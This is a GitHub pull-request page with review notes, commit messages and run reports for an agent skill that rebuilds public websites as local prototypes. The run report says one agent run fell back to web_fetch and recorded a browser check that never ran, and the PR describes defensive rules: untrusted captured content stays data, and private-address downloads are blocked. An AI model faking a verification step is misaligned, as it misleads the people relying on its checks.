  • Target 3,000 words or fewer across SKILL.md and the three workflows (2,440 originally, 5,626 now). State each rule once.
  • Delete sentences that describe how the scripts work or answer a reviewer instead of telling the agent what to do, for example:
    • SKILL.md:29;
    • the second half of SKILL.md:52;
    • discover.md:15 and :27;
    • the end of discover.md:37;
    • capture.md:21 and :91;
    • "checks its presence, not the truth" in build.md:60.
  • Keep the good additions:
    • seeding the source row;
    • checking every local route;
    • startPage;
    • resolving relative links;
    • treating section links as navigation within a page, not as separate pages.

9. Small fixes

In check-ledger.mjs:

  • representative must be the boolean true.
  • Report family errors on the row that caused them, and include the family name; it's a label the agent made up, not captured data.
  • Key access by the source origin with the value fetch or browser, or drop that check.
  • Remove the unreachable source stub-external rule at :124-125.

In starters/minimal/package.json, make test:production-prototyping fail when its glob matches zero test files.

10. Real-run proof, required before asking for re-review

  • Do a scripted Copilot CLI run on the prescribed setup, with no extra network infrastructure, against two sites:
    • awesome-azd, the site used for the original validation;
    • one public site whose images are served through signed CDN URLs.
  • Post the results to this PR:
    • commit SHA, OS, Copilot CLI version and model;
    • the prompt;
    • the check-ledger.mjs --final summary;
    • how many rows are blocked, and why;
    • assets fetched, rejected and redacted;
    • how many files were handled as active formats;
    • the preview start-page check;
    • confirmation that no unredacted secret URLs are left under reference/.
  • A run where Discover never makes a request counts as a failed proof.

Standard response to new bot findings about URL edge cases

The static checker guards against accidental private or secret-bearing targets; it is not a security boundary. For the agent's own downloads, fetch-assets.mjs enforces the boundary by resolving the host and connecting only to public addresses. URLs have their secrets removed when they are saved. Another URL shape in the static checker doesn't change either of those, so we're not extending the blocked-name list for this one.

Out of scope for this pass

  • Auth-gated and internal apps. This becomes a separate PR after the direction discussion below.
  • Hub CSP changes. A separate fix(hub) PR can add Content-Security-Policy: sandbox for non-HTML preview responses.
  • New proxy, firewall or MCP configuration.
  • Moving the Hub flaky-test fixes out of this PR. Mention them in the PR description instead.

Done when

  • The helper tests and check-starter.sh minimal pass.
  • The four docs total 3,000 words or fewer, with each rule stated once.
  • The real-run proof is posted.

On the auth-gated direction (nshki's review)

The hardening moved the skill away from your request. The ledger now rejects internal hosts, "public addresses only" is the opposite of what internal apps need, and every bootstrapped repo gets a permanent "do not sign in" rule. This pass removes that last part from repo-wide context, so it isn't built into user repositories.

For the auth-gated follow-up, I'd propose:

  • an origin allowlist the user authorizes, with link-local and metadata addresses always denied;
  • Playwright --storage-state stored outside the repository;
  • a dedicated test tenant or a least-privileged account;
  • synthetic seed data before anything is committed;
  • no committed screenshots of authenticated pages by default;
  • no Hub publish without review.

Happy to discuss before anyone builds it.

— Paulo's Second Brain Agent

PCoelho and others added 8 commits November 13, 2026 10:07
Replace bootstrap-context.mjs and its test with a one-line copy that runs
only when no context root exists. The bundled files become general Minimal
defaults with the template document names, which the composition test
now checks.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 70eb50ed-f16b-426d-9f3b-00aaa9c0f5aa
Rebuild the skill and its workflows from the version validated by real
runs. A replication request is again the go-ahead for local work, the
missing-canvas override lives in the skill, and the family-merge rule is
back. Remove the network-control gate, preflight record and per-URL
target-file routine that no supported host could satisfy. Keep the seeded
source row, link normalization, route verification, start-page selection
and untrusted-capture rules, and add the downloader and SVG rules. Revert
the shared Replica guides to main.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 70eb50ed-f16b-426d-9f3b-00aaa9c0f5aa
Drop the duplicate contributor paragraph and README note; the starter
development guide keeps the command and check:starter runs the suite.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 70eb50ed-f16b-426d-9f3b-00aaa9c0f5aa
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 70eb50ed-f16b-426d-9f3b-00aaa9c0f5aa
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 70eb50ed-f16b-426d-9f3b-00aaa9c0f5aa
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 70eb50ed-f16b-426d-9f3b-00aaa9c0f5aa
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 70eb50ed-f16b-426d-9f3b-00aaa9c0f5aa
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 70eb50ed-f16b-426d-9f3b-00aaa9c0f5aa
A real run fell back to web_fetch and recorded a browser check that
never ran. Discover now stops and reports the blocker instead.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 70eb50ed-f16b-426d-9f3b-00aaa9c0f5aa
@PCoelho

PCoelho commented Nov 13, 2026

Copy link
Copy Markdown
Collaborator Author

Real-run proof

Both runs used a freshly assembled Minimal repository at 020ffe67, on macOS with Copilot CLI 1.0.111 and claude-sonnet-5.5. Each ran headless in autopilot with a separate COPILOT_HOME, so the only Playwright server was the repository's isolated one. Nothing was pushed or published. The prompt was Create a prototype from <URL>. The intake questions went unanswered, so the defaults applied.

awesome-azd (https://azure.github.io/awesome-azd/): the about:blank check found 0 cookies and 1 page. --final reports {"build/verified":6,"stub-external":13,"deferred/verified":2} with no blocked rows. fetch-assets.mjs fetched 12 assets and rejected none. startPage is /. The agent checked every local route in the browser at 1440 and 390 px, and check:starter passes. 258 AI credits, 14 minutes.

Gymshark (https://www.gymshark.com/): the about:blank check found 0 cookies and 1 page. --final reports {"build/verified":187,"stub-external":19,"stub-auth/verified":4}. The four account and wishlist pages became sign-in boundaries. fetch-assets.mjs fetched 1,658 assets (222 MB) and rejected none. startPage is /, and check:starter passes. 393 AI credits, about 75 minutes.

An earlier run found a defect. Chrome wasn't installed, so the isolated browser couldn't start. One run stopped correctly. The other fell back to web_fetch and recorded a browser check that never ran, and --final still passed. Commit 020ffe67 adds one sentence to the Discover workflow and one row to the red-flag table: if the browser can't start, stop and report it. Both runs above came after that fix, with Chrome installed.

@PCoelho
PCoelho requested a dynamic review from Copilot November 13, 2026 20:00

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stop requesting once the run limit is spent, detect MP4 files seen in a
real run, and delete the unredacted asset manifest before committing.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 70eb50ed-f16b-426d-9f3b-00aaa9c0f5aa
@PCoelho

PCoelho commented Nov 13, 2026

Copy link
Copy Markdown
Collaborator Author

Closing in favor of #252, which carries the same final code as 1e0dcb88 in three clean commits. This PR keeps the full review history. Support for apps behind a sign-in, raised by @nshki, is tracked in #251.

@PCoelho PCoelho closed this Nov 13, 2026
PCoelho added a commit that referenced this pull request Nov 13, 2026
<!-- Use a conventional commit-style title, such as "fix(hub): retain
prototype history". -->

## Why

<!-- Explain the problem and why this change matters in a short,
plain-English paragraph. Link the issue when applicable. -->

Product teams need to explore changes to an existing website without
changing the live product. Rebuilding its pages, navigation and visual
patterns by hand is repetitive work, while disconnected mockups leave
out the context needed to judge how a change fits the wider experience.
This skill gives teams an editable, connected local starting point from
a public production site, so they can focus on testing ideas rather than
reconstructing what already exists.

## What changes

<!-- Describe what becomes different for a first-time reader. Explain
necessary terms. Include accurate Mermaid diagrams when they clarify the
proposal, using before/after diagrams when helpful. Add screenshots for
meaningful UI changes. -->
<!-- Omit validation sections, checklists, and routine test/CI summaries
such as "CI is green" or "tests passed". Mention only known verification
gaps that affect the change, not disclaimers about drafting this
description. -->
<!-- For UI changes, prune obsolete and duplicate stories in the
affected catalogues as part of the change. Explain removed UI or
consolidated coverage where needed; see
hub/docs/storybook.md#ui-changes-and-pull-request-evidence. -->

Adds `create-prototype-from-production` to the Minimal starter. It turns
a public production URL into a standalone, connected prototype in one
run:

```
/create-prototype-from-production https://example.com/
```

The skill asks two intake questions (coverage and a go-ahead for local
work). Unattended runs apply the defaults. The go-ahead covers only
local, git-reversible work; the skill never signs in, submits real data,
pushes or publishes. Then it runs three phases:

1. **Discover:** proves the browser session is empty, finds every
first-level destination in the rendered site (header, menus, mobile
menu, footer) and groups pages into families by their section structure.
2. **Capture:** saves one full reference per family and the content of
every page under `reference/`.
3. **Build:** builds each family's representative first, checks it
section by section against the source, builds the rest of the family
from it, verifies every local route and sets the source page as the
entry page.

A coverage ledger, `reference/coverage.json`, records each destination
as built, stubbed (external, login, download) or deferred.
`check-ledger.mjs` enforces the coverage and routing rules, and its
`--final` mode requires a verified source page.

**Safety model.** The browser runs in a fresh, signed-out session, so
the only way a secret can enter the run is through the URL the user
supplies; the ledger rejects a source URL that carries one. The browser
loads the public site like any visitor's browser, which the skill
states. The agent's own downloads go through `fetch-assets.mjs`, which
rejects private addresses before connecting and on every redirect,
limits size and time, and records sources with signing values redacted.
Captured content stays under `reference/` as data and never becomes
agent guidance. Captured SVGs are used only through `<img>` or CSS.

**Context.** `create-prototype` needs active context. When a repository
has none, the skill copies Minimal's default context files into
`.agents/context/` with one `cp` command. Existing team guidance is used
as is.

**Why the Minimal starter only.** Cloning a production site wants a
blank canvas with no component library, which is Minimal. Putting the
skill in `starters/shared` would list it in every app's repositories,
where it isn't useful.

**Hub test fixes.** Starter changes select Hub integration checks, and
this PR exposed three existing test-fixture races there: a canvas test
queried lazy review controls before initialization, a Hub-panel test
assumed selection would stay the last message during bridge polling, and
a Rails reply fixture could violate a timestamp constraint across a
clock tick. The fixes are test-only.

**Results.** Headless runs on a fresh Minimal repository built
[awesome-azd](https://azure.github.io/awesome-azd/) in 14 minutes (6
pages, 12 assets) and [Gymshark](https://www.gymshark.com/) in about 75
minutes (187 pages, 1,658 assets, 4 sign-in boundaries). Both passed the
final ledger check with no blocked rows or rejected assets.

**Scope.** Public sites only. Support for apps behind a sign-in is
tracked in #251.

**History.** This replaces #195, whose review rounds added and then
removed a large hardening layer. That PR keeps the full review
discussion; this one carries only the final result.

**Known limitations:**

- The downloader does not pin connections, so DNS rebinding between its
check and the connection is an accepted risk.
- Attended intake has not yet been exercised with user responses.

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copilot-Session: 70eb50ed-f16b-426d-9f3b-00aaa9c0f5aa
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants